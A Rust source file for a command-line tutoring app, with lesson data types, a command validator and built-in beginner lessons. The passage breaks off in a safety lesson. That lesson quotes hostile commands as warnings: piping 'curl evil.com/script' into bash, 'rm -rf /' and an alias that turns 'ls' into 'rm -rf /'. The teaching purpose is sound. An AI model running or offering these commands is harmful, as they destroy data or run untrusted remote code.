1use serde::{Deserialize, Serialize};
7use std::collections::HashMap;
8
9#[derive(Debug, Clone, Serialize, Deserialize)]
53pub struct Lesson {
54 pub id: String,
55 pub title: String,
56 pub description: String,
57 pub difficulty: Difficulty,
58 pub estimated_minutes: u32,
59 pub steps: Vec<LessonStep>,
60 pub prerequisites: Vec<String>, pub tags: Vec<String>, #[serde(default)]
67 pub setup: Vec<SetupFile>,
68}
69
70#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
75pub struct SetupFile {
76 pub path: String,
78 pub contents: String,
80}
81
82impl Lesson {
83 pub fn to_toml(&self) -> anyhow::Result<String> {
85 Ok(toml::to_string_pretty(self)?)
86 }
87
88 pub fn from_toml(content: &str) -> anyhow::Result<Self> {
90 Ok(toml::from_str(content)?)
91 }
92}
93
94#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
96pub enum Difficulty {
97 Beginner,
98 Intermediate,
99 Advanced,
100 Expert,
101}
102
103#[derive(Debug, Clone, Serialize, Deserialize)]
105pub struct LessonStep {
106 pub step_number: u32,
107 pub title: String,
108 pub instruction: String,
109 pub hint: Option<String>,
110 pub step_type: StepType,
111}
112
113#[derive(Debug, Clone, Serialize, Deserialize)]
115pub enum StepType {
116 CommandExercise {
118 expected_command: String,
119 validation: CommandValidation,
120 success_message: String,
121 },
122 MultipleChoice {
124 question: String,
125 options: Vec<String>,
126 correct_index: usize,
127 explanation: String,
128 },
129 FillInBlank {
131 template: String, correct_answers: Vec<String>, explanation: String,
134 },
135 Information {
137 content: String,
138 },
139 Practice {
141 goal: String,
142 validation: PracticeValidation,
143 hints: Vec<String>,
144 },
145}
146
147#[derive(Debug, Clone, Serialize, Deserialize)]
149pub enum CommandValidation {
150 Exact,
152 CommandAndFlags,
154 CommandOnly,
156 Regex(String),
158 AnyOf(Vec<String>),
160}
161
162#[derive(Debug, Clone, Serialize, Deserialize)]
164pub enum PracticeValidation {
165 FileExists(String),
167 DirectoryExists(String),
169 FileContains { path: String, content: String },
171 OutputMatches { command: String, pattern: String },
173 Custom(String),
175}
176
177#[derive(Debug, Clone, Serialize, Deserialize)]
179pub struct LessonProgress {
180 pub lesson_id: String,
181 pub current_step: u32,
182 pub completed_steps: Vec<u32>,
183 pub started_at: chrono::DateTime<chrono::Utc>,
184 pub completed_at: Option<chrono::DateTime<chrono::Utc>>,
185 pub attempts: HashMap<u32, u32>, }
187
188impl LessonProgress {
189 pub fn new(lesson_id: String) -> Self {
190 Self {
191 lesson_id,
192 current_step: 1,
193 completed_steps: Vec::new(),
194 started_at: chrono::Utc::now(),
195 completed_at: None,
196 attempts: HashMap::new(),
197 }
198 }
199
200 pub fn is_completed(&self) -> bool {
201 self.completed_at.is_some()
202 }
203
204 pub fn completion_percentage(&self, total_steps: u32) -> f32 {
205 if total_steps == 0 {
206 return 0.0;
207 }
208 (self.completed_steps.len() as f32 / total_steps as f32) * 100.0
209 }
210
211 pub fn record_attempt(&mut self, step_number: u32) {
212 *self.attempts.entry(step_number).or_insert(0) += 1;
213 }
214
215 pub fn complete_step(&mut self, step_number: u32) {
216 if !self.completed_steps.contains(&step_number) {
217 self.completed_steps.push(step_number);
218 self.completed_steps.sort();
219 }
220 }
221
222 pub fn complete_lesson(&mut self) {
223 self.completed_at = Some(chrono::Utc::now());
224 }
225}
226
227#[derive(Debug, Clone)]
229pub struct LessonLibrary {
230 lessons: HashMap<String, Lesson>,
231}
232
233impl LessonLibrary {
234 pub fn new() -> Self {
235 let mut library = Self {
236 lessons: HashMap::new(),
237 };
238 library.load_default_lessons();
239 library
240 }
241
242 pub fn register(&mut self, lesson: Lesson) {
244 self.lessons.insert(lesson.id.clone(), lesson);
245 }
246
247 pub fn get(&self, id: &str) -> Option<&Lesson> {
249 self.lessons.get(id)
250 }
251
252 pub fn all(&self) -> Vec<&Lesson> {
254 self.lessons.values().collect()
255 }
256
257 pub fn by_difficulty(&self, difficulty: Difficulty) -> Vec<&Lesson> {
259 self.lessons
260 .values()
261 .filter(|l| l.difficulty == difficulty)
262 .collect()
263 }
264
265 pub fn by_tag(&self, tag: &str) -> Vec<&Lesson> {
267 self.lessons
268 .values()
269 .filter(|l| l.tags.iter().any(|t| t == tag))
270 .collect()
271 }
272
273 pub fn difficulty_counts(&self) -> HashMap<Difficulty, usize> {
275 let mut counts = HashMap::new();
276 for lesson in self.lessons.values() {
277 *counts.entry(lesson.difficulty).or_insert(0) += 1;
278 }
279 counts
280 }
281
282 pub fn load_from_dir(&mut self, path: &std::path::Path) -> anyhow::Result<usize> {
289 use anyhow::Context;
290
291 if !path.is_dir() {
292 return Ok(0);
293 }
294
295 let mut loaded = 0;
296 for entry in std::fs::read_dir(path)
297 .with_context(|| format!("Failed to read lesson directory: {}", path.display()))?
298 {
299 let entry = entry?;
300 let file_path = entry.path();
301 if file_path.extension().and_then(|e| e.to_str()) != Some("toml") {
302 continue;
303 }
304
305 let content = std::fs::read_to_string(&file_path)
306 .with_context(|| format!("Failed to read lesson file: {}", file_path.display()))?;
307 let lesson = Lesson::from_toml(&content)
308 .with_context(|| format!("Failed to parse lesson file: {}", file_path.display()))?;
309
310 self.register(lesson);
311 loaded += 1;
312 }
313
314 Ok(loaded)
315 }
316
317 fn load_default_lessons(&mut self) {
319 self.register(create_navigation_basics_lesson());
320 self.register(create_file_management_lesson());
321 self.register(create_safety_lesson());
322 self.register(create_file_viewing_lesson());
323 self.register(create_permissions_lesson());
324 self.register(create_process_management_lesson());
325 self.register(create_text_processing_lesson());
326 self.register(create_package_management_lesson());
327 self.register(create_network_basics_lesson());
328 self.register(create_git_fundamentals_lesson());
329 }
330}
331
332impl Default for LessonLibrary {
333 fn default() -> Self {
334 Self::new()
335 }
336}
337
338pub struct LessonValidator {
340 }
343
344impl LessonValidator {
345 pub fn new() -> Self {
346 Self {}
347 }
348
349 pub fn validate_command(
351 &self,
352 user_input: &str,
353 expected: &str,
354 validation: &CommandValidation,
355 ) -> ValidationResult {
356 match validation {
357 CommandValidation::Exact => {
358 let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
359 let normalized_expected = expected.trim().split_whitespace().collect::<Vec<_>>().join(" ");
360
361 if normalized_input == normalized_expected {
362 ValidationResult::Success {
363 message: "Perfect! That's exactly right.".to_string(),
364 }
365 } else {
366 ValidationResult::Failure {
367 message: format!("Not quite. Expected: {}", expected),
368 hint: Some("Check the command and flags carefully.".to_string()),
369 }
370 }
371 }
372 CommandValidation::CommandOnly => {
373 let user_cmd = user_input.trim().split_whitespace().next().unwrap_or("");
374 let expected_cmd = expected.trim().split_whitespace().next().unwrap_or("");
375
376 if user_cmd == expected_cmd {
377 ValidationResult::Success {
378 message: "Correct command!".to_string(),
379 }
380 } else {
381 ValidationResult::Failure {
382 message: format!("Wrong command. Expected: {}", expected_cmd),
383 hint: None,
384 }
385 }
386 }
387 CommandValidation::AnyOf(commands) => {
388 let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
389
390 for cmd in commands {
391 let normalized_cmd = cmd.trim().split_whitespace().collect::<Vec<_>>().join(" ");
392 if normalized_input == normalized_cmd {
393 return ValidationResult::Success {
394 message: "Correct!".to_string(),
395 };
396 }
397 }
398
399 ValidationResult::Failure {
400 message: "Not quite. Try one of the expected commands.".to_string(),
401 hint: Some(format!("Expected one of: {}", commands.join(" OR "))),
402 }
403 }
404 CommandValidation::CommandAndFlags => {
405 let (user_cmd, user_flags, user_args) = Self::split_command(user_input);
406 let (expected_cmd, expected_flags, expected_args) = Self::split_command(expected);
407
408 if user_cmd.is_empty() {
409 return ValidationResult::Failure {
410 message: "No command entered.".to_string(),
411 hint: Some(format!("Try: {}", expected)),
412 };
413 }
414
415 if user_cmd != expected_cmd {
416 return ValidationResult::Failure {
417 message: format!("Wrong command. Expected: {}", expected_cmd),
418 hint: Some("Check which program you're running.".to_string()),
419 };
420 }
421
422 if user_flags != expected_flags {
423 let expected_list: Vec<String> = expected_flags.iter().cloned().collect();
424 return ValidationResult::Failure {
425 message: "The flags don't match.".to_string(),
426 hint: Some(if expected_list.is_empty() {
427 "This command doesn't need any flags.".to_string()
428 } else {
429 format!("Expected flags: {}", expected_list.join(" "))
430 }),
431 };
432 }
433
434 if user_args != expected_args {
435 return ValidationResult::Failure {
436 message: "The arguments don't match.".to_string(),
437 hint: Some(format!("Expected: {}", expected)),
438 };
439 }
440
441 ValidationResult::Success {
442 message: "Correct command, flags, and arguments!".to_string(),
443 }
444 }
445 CommandValidation::Regex(pattern) => match regex::Regex::new(pattern) {
446 Ok(re) => {
447 if re.is_match(user_input.trim()) {
448 ValidationResult::Success {
449 message: "Correct!".to_string(),
450 }
451 } else {
452 ValidationResult::Failure {
453 message: "That command doesn't match what's expected.".to_string(),
454 hint: None,
455 }
456 }
457 }
458 Err(e) => ValidationResult::Failure {
459 message: format!("Invalid validation pattern in lesson data: {}", e),
460 hint: None,
461 },
462 },
463 }
464 }
465
466 fn split_command(input: &str) -> (String, std::collections::BTreeSet<String>, Vec<String>) {
472 let tokens = shellwords::split(input.trim())
473 .unwrap_or_else(|_| input.split_whitespace().map(String::from).collect());
474
475 let mut iter = tokens.into_iter();
476 let program = iter.next().unwrap_or_default();
477
478 let mut flags = std::collections::BTreeSet::new();
479 let mut args = Vec::new();
480
481 for token in iter {
482 if token.starts_with("--") && token.len() > 2 {
483 flags.insert(token);
484 } else if token.starts_with('-') && token.len() > 1 {
485 for ch in token.chars().skip(1) {
487 flags.insert(format!("-{}", ch));
488 }
489 } else {
490 args.push(token);
491 }
492 }
493
494 (program, flags, args)
495 }
496
497 pub fn validate_multiple_choice(&self, user_choice: usize, correct: usize) -> ValidationResult {
499 if user_choice == correct {
500 ValidationResult::Success {
501 message: "Correct!".to_string(),
502 }
503 } else {
504 ValidationResult::Failure {
505 message: "Not quite. Try again!".to_string(),
506 hint: None,
507 }
508 }
509 }
510}
511
512impl Default for LessonValidator {
513 fn default() -> Self {
514 Self::new()
515 }
516}
517
518#[derive(Debug, Clone)]
520pub enum ValidationResult {
521 Success { message: String },
522 Failure { message: String, hint: Option<String> },
523 Partial { message: String, progress: f32 },
524}
525
526impl ValidationResult {
527 pub fn is_success(&self) -> bool {
528 matches!(self, ValidationResult::Success { .. })
529 }
530}
531
532fn create_navigation_basics_lesson() -> Lesson {
538 Lesson {
539 id: "nav-basics".to_string(),
540 title: "Navigation Basics".to_string(),
541 description: "Learn how to navigate the Linux filesystem using essential commands like ls, cd, pwd, and tree.".to_string(),
542 difficulty: Difficulty::Beginner,
543 estimated_minutes: 10,
544 prerequisites: vec![],
545 tags: vec!["beginner".to_string(), "navigation".to_string(), "essential".to_string()],
546 setup: vec![
547 SetupFile {
548 path: "README.txt".to_string(),
549 contents: "Welcome to your practice space!\n\nUse pwd, ls, and cd to look around. There's a 'docs' folder to explore.\n".to_string(),
550 },
551 SetupFile {
552 path: "docs/getting-started.txt".to_string(),
553 contents: "You found the docs folder — nice navigating!\nTry 'cd ..' to go back up.\n".to_string(),
554 },
555 ],
556 steps: vec![
557 LessonStep {
558 step_number: 1,
559 title: "Understanding Your Current Location".to_string(),
560 instruction: "Every time you open a terminal, you're in a specific directory. Let's find out where you are. Type the command to print your current working directory.".to_string(),
561 hint: Some("The command is 'pwd' (print working directory)".to_string()),
562 step_type: StepType::CommandExercise {
563 expected_command: "pwd".to_string(),
564 validation: CommandValidation::CommandOnly,
565 success_message: "Perfect! 'pwd' shows your current directory. This is your starting point.".to_string(),
566 },
567 },
568 LessonStep {
569 step_number: 2,
570 title: "Listing Files and Directories".to_string(),
571 instruction: "Now let's see what's in your current directory. Use the command to list all files and directories.".to_string(),
572 hint: Some("The command is 'ls' (list)".to_string()),
573 step_type: StepType::CommandExercise {
574 expected_command: "ls".to_string(),
575 validation: CommandValidation::CommandOnly,
576 success_message: "Great! 'ls' shows you what's in the current directory.".to_string(),
577 },
578 },
579 LessonStep {
580 step_number: 3,
581 title: "Detailed File Listings".to_string(),
582 instruction: "Let's get more information about the files. Use 'ls' with flags to show a long, detailed listing with human-readable file sizes.".to_string(),
583 hint: Some("Try 'ls -lh' (long format + human-readable sizes)".to_string()),
584 step_type: StepType::CommandExercise {
585 expected_command: "ls -lh".to_string(),
586 validation: CommandValidation::AnyOf(vec![
587 "ls -lh".to_string(),
588 "ls -hl".to_string(),
589 "ls -l -h".to_string(),
590 "ls -h -l".to_string(),
591 ]),
592 success_message: "Excellent! The -l flag shows details like permissions, owner, size, and date. The -h flag makes sizes human-readable (KB, MB, GB).".to_string(),
593 },
594 },
595 LessonStep {
596 step_number: 4,
597 title: "Understanding Hidden Files".to_string(),
598 instruction: "Many configuration files are hidden (they start with a dot). Let's see ALL files, including hidden ones.".to_string(),
599 hint: Some("Use the -a flag with ls".to_string()),
600 step_type: StepType::CommandExercise {
601 expected_command: "ls -a".to_string(),
602 validation: CommandValidation::CommandOnly,
603 success_message: "Perfect! Files starting with '.' are hidden. You'll see '.bashrc', '.profile', etc. - these are configuration files.".to_string(),
604 },
605 },
606 LessonStep {
607 step_number: 5,
608 title: "Changing Directories".to_string(),
609 instruction: "Let's move to your home directory. Use the change directory command with the ~ symbol (tilde represents your home).".to_string(),
610 hint: Some("Type 'cd ~' or just 'cd'".to_string()),
611 step_type: StepType::CommandExercise {
612 expected_command: "cd".to_string(),
613 validation: CommandValidation::AnyOf(vec![
614 "cd".to_string(),
615 "cd ~".to_string(),
616 "cd $HOME".to_string(),
617 ]),
618 success_message: "Great! 'cd' without arguments always takes you home. The ~ symbol is a shortcut for your home directory.".to_string(),
619 },
620 },
621 LessonStep {
622 step_number: 6,
623 title: "Quiz: What does 'cd ..' do?".to_string(),
624 instruction: "".to_string(),
625 hint: None,
626 step_type: StepType::MultipleChoice {
627 question: "What does the command 'cd ..' do?".to_string(),
628 options: vec![
629 "Goes to the home directory".to_string(),
630 "Goes up one directory level (to the parent)".to_string(),
631 "Lists files in the current directory".to_string(),
632 "Creates a new directory".to_string(),
633 ],
634 correct_index: 1,
635 explanation: "Correct! '..' is a special symbol that represents the parent directory. So 'cd ..' moves you up one level in the directory tree.".to_string(),
636 },
637 },
638 LessonStep {
639 step_number: 7,
640 title: "Pro Tip: cd -".to_string(),
641 instruction: "".to_string(),
642 hint: None,
643 step_type: StepType::Information {
644 content: "Pro tip: 'cd -' is a super useful command! It takes you back to your previous directory. Try it:\n\n cd /tmp\n cd ~\n cd - # Takes you back to /tmp!\n\nThis is great for quickly switching between two directories you're working in.".to_string(),
645 },
646 },
647 LessonStep {
648 step_number: 8,
649 title: "Completion: Navigation Mastered!".to_string(),
650 instruction: "".to_string(),
651 hint: None,
652 step_type: StepType::Information {
653 content: "Congratulations! 🎉 You've mastered basic navigation!\n\nKey commands you learned:\n • pwd - Print working directory\n • ls - List files (use -l for details, -a for hidden, -h for human-readable)\n • cd - Change directory\n • cd ~ - Go home\n • cd .. - Go up one level\n • cd - - Toggle to previous directory\n\nThese are the foundation of navigating Linux. Practice them often!".to_string(),
654 },
655 },
656 ],
657 }
658}
659
660fn create_file_management_lesson() -> Lesson {
662 Lesson {
663 id: "file-mgmt".to_string(),
664 title: "File Management Basics".to_string(),
665 description: "Learn to create, copy, move, and delete files and directories safely.".to_string(),
666 difficulty: Difficulty::Beginner,
667 estimated_minutes: 15,
668 prerequisites: vec!["nav-basics".to_string()],
669 tags: vec!["beginner".to_string(), "files".to_string(), "essential".to_string()],
670 setup: vec![
671 SetupFile {
672 path: "README.txt".to_string(),
673 contents: "This is your file-management practice space.\n\nYou'll create a 'practice' directory here and work with files inside it.\nNothing outside this folder is ever touched.\n".to_string(),
674 },
675 ],
676 steps: vec![
677 LessonStep {
678 step_number: 1,
679 title: "Creating a Practice Directory".to_string(),
680 instruction: "Let's create a safe practice space. Create a directory called 'practice' in your current location.".to_string(),
681 hint: Some("Use 'mkdir practice'".to_string()),
682 step_type: StepType::CommandExercise {
683 expected_command: "mkdir practice".to_string(),
684 validation: CommandValidation::CommandOnly,
685 success_message: "Great! 'mkdir' (make directory) creates a new folder. Now you have a safe space to practice.".to_string(),
686 },
687 },
688 LessonStep {
689 step_number: 2,
690 title: "Creating a File".to_string(),
691 instruction: "Navigate into your practice directory and create an empty file called 'test.txt'.".to_string(),
692 hint: Some("Use 'cd practice' then 'touch test.txt'".to_string()),
693 step_type: StepType::CommandExercise {
694 expected_command: "touch test.txt".to_string(),
695 validation: CommandValidation::CommandOnly,
696 success_message: "Perfect! 'touch' creates an empty file or updates the timestamp of an existing one.".to_string(),
697 },
698 },
699 LessonStep {
700 step_number: 3,
701 title: "Copying Files".to_string(),
702 instruction: "Make a copy of test.txt called test-backup.txt.".to_string(),
703 hint: Some("Use 'cp test.txt test-backup.txt'".to_string()),
704 step_type: StepType::CommandExercise {
705 expected_command: "cp test.txt test-backup.txt".to_string(),
706 validation: CommandValidation::Exact,
707 success_message: "Excellent! 'cp source destination' copies a file. Always make backups of important files before editing!".to_string(),
708 },
709 },
710 LessonStep {
711 step_number: 4,
712 title: "Moving/Renaming Files".to_string(),
713 instruction: "Rename test-backup.txt to backup.txt using the move command.".to_string(),
714 hint: Some("'mv' is used for both moving and renaming. Try 'mv test-backup.txt backup.txt'".to_string()),
715 step_type: StepType::CommandExercise {
716 expected_command: "mv test-backup.txt backup.txt".to_string(),
717 validation: CommandValidation::Exact,
718 success_message: "Great! 'mv' moves OR renames files. When source and destination are in the same directory, it's renaming.".to_string(),
719 },
720 },
721 LessonStep {
722 step_number: 5,
723 title: "Safety Quiz".to_string(),
724 instruction: "".to_string(),
725 hint: None,
726 step_type: StepType::MultipleChoice {
727 question: "Which flag should you ALWAYS use with 'rm' for safety?".to_string(),
728 options: vec![
729 "-f (force)".to_string(),
730 "-i (interactive/confirm)".to_string(),
731 "-r (recursive)".to_string(),
732 "-v (verbose)".to_string(),
733 ],
734 correct_index: 1,
735 explanation: "Correct! The -i flag makes rm ask for confirmation before deleting. NEVER use -f (force) unless you're absolutely sure. -r is for directories but should be used with -i for safety.".to_string(),
736 },
737 },
738 LessonStep {
739 step_number: 6,
740 title: "Safe Deletion".to_string(),
741 instruction: "Delete test.txt safely by using the interactive flag.".to_string(),
742 hint: Some("Use 'rm -i test.txt' and confirm when prompted".to_string()),
743 step_type: StepType::CommandExercise {
744 expected_command: "rm -i test.txt".to_string(),
745 validation: CommandValidation::Exact,
746 success_message: "Perfect! Always use -i when deleting files. There is NO undo in Linux - deleted files are gone forever!".to_string(),
747 },
748 },
749 LessonStep {
750 step_number: 7,
751 title: "Completion: File Management Mastered!".to_string(),
752 instruction: "".to_string(),
753 hint: None,
754 step_type: StepType::Information {
755 content: "Excellent work! 🎉 You've learned essential file management!\n\nKey commands:\n • mkdir - Create directories\n • touch - Create empty files\n • cp - Copy files\n • mv - Move or rename files\n • rm -i - Delete files (ALWAYS use -i for safety!)\n\nSafety rules:\n ⚠️ Always use 'rm -i' not 'rm -f'\n ⚠️ Make backups before editing important files\n ⚠️ Be very careful with 'rm -r' (deletes directories)\n ⚠️ NEVER run 'rm -rf /' (destroys your system!)\n\nNext: Learn text processing!".to_string(),
756 },
757 },
758 ],
759 }
760}
761
762fn create_safety_lesson() -> Lesson {
764 Lesson {
765 id: "safety-essentials".to_string(),
766 title: "What NOT to Do - Safety Essentials".to_string(),
767 description: "Critical safety lessons to prevent data loss, system damage, and security vulnerabilities. Learn the dangerous commands and practices to avoid.".to_string(),
768 difficulty: Difficulty::Beginner,
769 estimated_minutes: 15,
770 prerequisites: vec![],
771 tags: vec!["beginner".to_string(), "safety".to_string(), "essential".to_string(), "security".to_string()],
772 setup: vec![],
773 steps: vec![
774 LessonStep {
775 step_number: 1,
776 title: "Welcome to Safety Training".to_string(),
777 instruction: "".to_string(),
778 hint: None,
779 step_type: StepType::Information {
780 content: "⚠️ IMPORTANT: This lesson teaches you what NOT to do!\n\nThe command line is powerful - which means it can do a LOT of damage if misused. Unlike graphical interfaces with confirmation dialogs and trash bins, the terminal executes commands IMMEDIATELY and PERMANENTLY.\n\nIn this lesson, you'll learn:\n • Dangerous commands that can destroy your system\n • Common mistakes beginners make\n • Security vulnerabilities to avoid\n • Best practices for safe command line usage\n\nThis knowledge could save you from:\n • Losing important files forever\n • Breaking your operating system\n • Creating security holes\n • Hours of recovery work\n\nLet's get started! 🛡️".to_string(),
781 },
782 },
783 LessonStep {
784 step_number: 2,
785 title: "The Most Dangerous Command".to_string(),
786 instruction: "".to_string(),
787 hint: None,
788 step_type: StepType::MultipleChoice {
789 question: "Which command is EXTREMELY dangerous and should NEVER be run?".to_string(),
790 options: vec![
791 "rm -i file.txt".to_string(),
792 "rm -rf /".to_string(),
793 "ls -la /".to_string(),
794 "cd /tmp".to_string(),
795 ],
796 correct_index: 1,
797 explanation: "CORRECT! 'rm -rf /' is catastrophic - it recursively force-deletes your ENTIRE system starting from the root! The -r means recursive (all files and folders), -f means force (no confirmations), and / is the root of your entire filesystem. This will destroy your operating system and all your data. Modern systems have protections, but NEVER try this. Even 'rm -rf /*' (with a star) can be devastating!".to_string(),
798 },
799 },
800 LessonStep {
801 step_number: 3,
802 title: "Understanding Force Flags".to_string(),
803 instruction: "".to_string(),
804 hint: None,
805 step_type: StepType::Information {
806 content: "🚨 NEVER USE FORCE FLAGS UNLESS YOU'RE ABSOLUTELY CERTAIN!\n\nDangerous force flags to avoid:\n\n • rm -f - Deletes without asking (NO confirmation!)\n • rm -rf - Recursively force-deletes directories\n • mv -f - Overwrites files without warning\n • cp -f - Overwrites files without asking\n\nInstead, ALWAYS use interactive flags:\n\n ✅ rm -i - Asks before each deletion\n ✅ rm -ri - Safe recursive deletion with prompts\n ✅ mv -i - Asks before overwriting\n ✅ cp -i - Asks before overwriting\n\nRemember: Linux has NO recycle bin. Deleted = GONE FOREVER!\nThe -i flag is your safety net. Use it!".to_string(),
807 },
808 },
809 LessonStep {
810 step_number: 4,
811 title: "Permission Dangers".to_string(),
812 instruction: "".to_string(),
813 hint: None,
814 step_type: StepType::MultipleChoice {
815 question: "You need to make a script executable. Which chmod command is safest?".to_string(),
816 options: vec![
817 "chmod 777 script.sh (everyone can read, write, execute)".to_string(),
818 "chmod +x script.sh (add execute permission)".to_string(),
819 "chmod -R 777 / (make everything writable)".to_string(),
820 "chmod 000 script.sh (remove all permissions)".to_string(),
821 ],
822 correct_index: 1,
823 explanation: "CORRECT! 'chmod +x script.sh' just adds execute permission safely. \n\n❌ NEVER use chmod 777! This gives EVERYONE (including attackers) full read, write, and execute access. It's a MASSIVE security hole!\n\n❌ NEVER use chmod -R 777 on system directories! This makes your entire system vulnerable.\n\nAlways use minimal permissions:\n • 755 for directories and executables (owner can write, others can read/execute)\n • 644 for regular files (owner can write, others can read)\n • Use +x, +r, +w to add specific permissions instead of numbers".to_string(),
824 },
825 },
826 LessonStep {
827 step_number: 5,
828 title: "The Sudo Trap".to_string(),
829 instruction: "".to_string(),
830 hint: None,
831 step_type: StepType::Information {
832 content: "🔐 SUDO GIVES YOU SUPERPOWERS - USE RESPONSIBLY!\n\nCommon sudo mistakes:\n\n❌ DON'T: Run random internet commands with sudo\n Example: Don't blindly copy-paste 'sudo rm -rf /usr'\n\n❌ DON'T: Use sudo just because a command failed\n Example: If 'npm install' fails, DON'T try 'sudo npm install'\n (Fix permissions instead!)\n\n❌ DON'T: Pipe untrusted scripts to sudo bash\n Example: curl http://example.com/script.sh | sudo bash\n (This runs unknown code as admin!)\n\n✅ DO: Read and understand commands before using sudo\n✅ DO: Use sudo only when actually needed (system changes)\n✅ DO: Check who wrote the script you're running\n\nThink of sudo like giving someone the keys to your house - only do it when absolutely necessary and you trust the command!".to_string(),
833 },
834 },
835 LessonStep {
836 step_number: 6,
837 title: "Wildcard Disasters".to_string(),
838 instruction: "".to_string(),
839 hint: None,
840 step_type: StepType::MultipleChoice {
841 question: "You're in your home directory and want to delete all .txt files. Which is SAFEST?".to_string(),
842 options: vec![
843 "rm *.txt (could be dangerous if you're in wrong directory!)".to_string(),
844 "rm -rf *".to_string(),
845 "First 'ls *.txt' to verify, then 'rm -i *.txt'".to_string(),
846 "cd / && rm *.txt".to_string(),
847 ],
848 correct_index: 2,
849 explanation: "CORRECT! Always verify with 'ls' FIRST, then use 'rm -i' for confirmation!\n\nWildcard disasters to avoid:\n\n❌ 'rm -rf *' - Deletes EVERYTHING in current directory!\n❌ 'rm -rf * .*' - Even worse, includes hidden files!\n❌ 'rm * .txt' - Space before .txt means delete everything AND .txt!\n\nSafety practices:\n 1️⃣ Always 'pwd' to confirm you're in the right directory\n 2️⃣ Always 'ls [pattern]' to see what matches BEFORE deleting\n 3️⃣ Always use 'rm -i' with wildcards\n 4️⃣ Be EXTRA careful with spaces in commands!".to_string(),
850 },
851 },
852 LessonStep {
853 step_number: 7,
854 title: "Pipe and Redirect Dangers".to_string(),
855 instruction: "".to_string(),
856 hint: None,
857 step_type: StepType::Information {
858 content: "⚡ REDIRECTS CAN OVERWRITE FILES INSTANTLY!\n\nDangerous redirects:\n\n❌ command > important.txt\n • Single > OVERWRITES the file completely!\n • If command is empty, you just erased your file!\n\n❌ command > /etc/passwd\n • Overwriting system files breaks your system!\n\n❌ cat file.txt > file.txt\n • You just erased file.txt with an empty file!\n • (Can't read and write same file this way)\n\nSafe practices:\n\n✅ command >> file.txt (double >> appends instead of overwriting)\n✅ Always backup first: cp important.txt important.txt.bak\n✅ Test commands first: command > /tmp/test.txt\n✅ Use 'set -o noclobber' to prevent accidental overwrites\n\nRemember: > is INSTANT and PERMANENT!".to_string(),
859 },
860 },
861 LessonStep {
862 step_number: 8,
863 title: "Copy-Paste from the Internet".to_string(),
864 instruction: "".to_string(),
865 hint: None,
866 step_type: StepType::MultipleChoice {
867 question: "You found a cool command on a random website. What should you do?".to_string(),
868 options: vec![
869 "Copy-paste it immediately into your terminal".to_string(),
870 "Add sudo to make sure it works".to_string(),
871 "Read and understand what each part does, then type it yourself".to_string(),
872 "Run it in another user's account first".to_string(),
873 ],
874 correct_index: 2,
875 explanation: "CORRECT! Always READ and UNDERSTAND commands first!\n\nInternet command safety:\n\n❌ Malicious examples you might see:\n • curl evil.com/script | bash (runs hidden malware!)\n • alias ls='rm -rf /' (makes 'ls' destroy your system!)\n • Hidden characters that do something different than shown\n\n✅ Safe practices:\n 1️⃣ READ every part of the command\n 2️⃣ Look up unfamiliar commands with 'man' or '--help'\n 3️⃣ TYPE commands yourself (don't copy-paste!)\n 4️⃣ Be skeptical of commands that:\n • Use sudo unnecessarily\n • Pipe curl/wget to bash\n • Have > redirects to system files\n • Use rm, chmod, or other dangerous commands\n 5️⃣ Only trust official documentation\n\nWhen in doubt, ask an expert or research more!".to_string(),
876 },
877 },
878 LessonStep {
879 step_number: 9,
880 title: "File System Navigation Mistakes".to_string(),
881 instruction: "".to_string(),
882 hint: None,
883 step_type: StepType::Information {
884 content: "🗺️ ALWAYS KNOW WHERE YOU ARE!\n\nCommon navigation mistakes:\n\n❌ Running destructive commands without checking location:\n pwd ← Always do this first!\n # Oh no, I'm in / not /tmp!\n\n❌ Typos in paths with destructive commands:\n cd /tmpp/work ← Failed (typo)\n rm -rf * ← Just deleted wrong directory!\n\n❌ Assuming you're in the right directory:\n cd ~/projects/myapp\n # ...later...\n rm -rf node_modules ← Are you still in myapp?\n\nSafe practices:\n\n✅ Always 'pwd' before destructive operations\n✅ Use absolute paths for important operations:\n rm -rf /tmp/test instead of cd /tmp && rm -rf test\n✅ Use tab completion to avoid typos\n✅ Create a habit: 'pwd' → 'ls' → then act\n✅ Be extra careful in /tmp, /, and system directories".to_string(),
885 },
886 },
887 LessonStep {
888 step_number: 10,
889 title: "Hidden Files and Spaces in Names".to_string(),
890 instruction: "".to_string(),
891 hint: None,
892 step_type: StepType::Information {
893 content: "👻 WATCH OUT FOR HIDDEN FILES AND SPACES!\n\nHidden file dangers:\n\n❌ rm -rf * → Deletes visible files only\n❌ rm -rf * .* → DANGEROUS! .* matches .. (parent directory!)\n✅ rm -rf * .[^.]* → Safe way to include hidden files\n\nSpaces in filenames:\n\n❌ rm my file.txt → Tries to delete 'my' and 'file.txt'\n✅ rm \"my file.txt\" → Correct (quotes protect spaces)\n✅ rm my\\ file.txt → Also correct (backslash escapes space)\n✅ Use tab completion to auto-escape spaces!\n\nOther tricky characters:\n\n❌ Files starting with - (dash) confuse commands:\n rm -file.txt → Thinks it's a flag!\n ✅ rm ./-file.txt → Correct way\n\n❌ Files with special characters: !@#$%^&*()\n ✅ Always use quotes or escape them\n\nBest practice: Avoid spaces in filenames! Use underscores or dashes:\n my-file.txt or my_file.txt".to_string(),
894 },
895 },
896 LessonStep {
897 step_number: 11,
898 title: "Environment Variable Dangers".to_string(),
899 instruction: "".to_string(),
900 hint: None,
901 step_type: StepType::Information {
902 content: "🔧 BE CAREFUL WITH ENVIRONMENT VARIABLES!\n\nDangerous modifications:\n\n❌ export PATH=/usr/bin\n • Overwrites entire PATH (breaks most commands!)\n ✅ export PATH=$PATH:/usr/bin (appends instead)\n\n❌ unset PATH\n • Makes most commands unusable!\n\n❌ Adding untrusted directories to PATH:\n export PATH=/tmp:$PATH\n • Now malicious /tmp/ls could run instead of real ls!\n\nSystem file dangers:\n\n❌ NEVER edit these without understanding them:\n • /etc/passwd → User accounts\n • /etc/fstab → Disk mounting (can prevent boot!)\n • /etc/hosts → Network resolution\n • /boot/* → Boot files (can break booting!)\n\n✅ Safe practices:\n • Always backup before editing: sudo cp /etc/passwd /etc/passwd.bak\n • Use proper editors: sudo vi /etc/hosts\n • Test changes in your home directory first\n • Keep recovery USB drive handy!".to_string(),
903 },
904 },
905 LessonStep {
906 step_number: 12,
907 title: "Completion: Safety Knowledge Acquired!".to_string(),
908 instruction: "".to_string(),
